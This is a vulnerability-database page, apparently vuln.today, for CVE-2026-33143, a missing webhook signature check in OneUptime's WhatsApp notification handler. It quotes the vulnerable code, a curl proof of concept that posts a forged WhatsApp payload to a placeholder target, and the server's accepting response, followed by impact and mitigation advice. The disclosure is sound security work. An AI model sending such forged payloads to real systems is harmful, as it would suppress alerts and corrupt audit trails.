Docker
CVE-2026-33143
HIGH
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.
Details
Vulnerable code - App/FeatureSet/Notification/API/WhatsApp.ts lines 372-430:
router.post(
"/webhook",
async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
try {
const body: JSONObject = req.body as JSONObject;
// NO signature verification! No X-Hub-Signature-256 check!
if (
(body["object"] as string | undefined) !== "whatsapp_business_account"
) {
return Response.sendEmptySuccessResponse(req, res);
}
const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined;
// ... processes entries and updates WhatsApp log status recordsCompare with the Slack webhook which correctly validates signatures:
Common/Server/Middleware/SlackAuthorization.ts line 58:
const isValid = crypto.timingSafeEqual(
Buffer.from(computedSignature),
Buffer.from(slackSignature)
);The WhatsApp GET webhook correctly validates the verify token - only the POST handler (which processes actual events) is missing signature verification.
No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
# Forge a delivery status update for any WhatsApp notification - no auth, no signature
curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \
-H "Content-Type: application/json" \
-d '{
"object": "whatsapp_business_account",
"entry": [{
"id": "FAKE_WABA_ID",
"changes": [{
"value": {
"messaging_product": "whatsapp",
"metadata": {
"display_phone_number": "+15550000000",
"phone_number_id": "FAKE_PHONE_ID"
},
"messages": [{
"from": "15551234567",
"id": "wamid.FAKE",
"timestamp": "1234567890",
"text": {"body": "INJECTED_MESSAGE"},
"type": "text"
}]
},
"field": "messages"
}]
}]
}'Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):
< HTTP/1.1 200 OK
{}- Fake WhatsApp webhook payload accepted with HTTP 200
- No
X-Hub-Signature-256header provided - no signature verification at all - Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates
Impact
Any unauthenticated remote attacker can forge WhatsApp webhook events:
- False delivery status: Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators
- Alert suppression: Critical on-call notifications that failed to deliver appear successful, preventing escalation
- Log manipulation: WhatsApp notification logs updated with forged status data, corrupting audit trails
- Incident response disruption: During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries
AnalysisAI
The OneUptime monitoring platform (specifically version 10.0.23 and likely earlier versions) contains an authentication bypass vulnerability in its WhatsApp webhook handler that fails to verify the X-Hub-Signature-256 HMAC signature required by Meta/WhatsApp. Any unauthenticated remote attacker can send forged webhook payloads to manipulate notification delivery status records, suppress critical alerts, and corrupt audit trails. A working proof-of-concept exploit has been published demonstrating successful injection of arbitrary webhook events via simple HTTP POST requests with no authentication required.
Technical ContextAI
This vulnerability affects the OneUptime npm package (pkg:npm/oneuptime) and manifests in the WhatsApp webhook POST handler endpoint at /notification/whatsapp/webhook within the App/FeatureSet/Notification/API/WhatsApp.ts module. The root cause is CWE-345 (Insufficient Verification of Data Authenticity), where the application processes incoming webhook events from Meta/WhatsApp without cryptographically validating the X-Hub-Signature-256 HMAC signature that Meta includes to prove webhook authenticity. This is particularly notable because the same codebase correctly implements signature verification for Slack webhooks using crypto.timingSafeEqual(), indicating the developers understood the security requirement but failed to apply it consistently across all webhook integrations. The WhatsApp webhook protocol requires applications to compute an HMAC-SHA256 signature using a shared secret and compare it against the X-Hub-Signature-256 header to prevent webhook spoofing attacks.
RemediationAI
Organizations should immediately upgrade to a patched version of OneUptime once released by the vendor, monitoring the GitHub security advisory at https://github.com/OneUptime/oneuptime/security/advisories/GHSA-g5ph-f57v-mwjc for patch availability and version details. Until a patch is available, implement network-level access controls to restrict POST requests to the /api/notification/whatsapp/webhook endpoint to only trusted Meta/WhatsApp IP ranges (Meta publishes their webhook source IP addresses in their developer documentation). As an additional mitigation layer, deploy a reverse proxy or API gateway in front of OneUptime that can validate X-Hub-Signature-256 headers before forwarding requests to the application, though this requires access to the WhatsApp webhook secret configured in the Meta developer portal. Organizations should also audit WhatsApp notification logs for suspicious delivery status changes and consider temporarily switching to alternative notification channels (Slack, email, SMS) for critical alerts until the vulnerability is addressed.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-g5ph-f57v-mwjc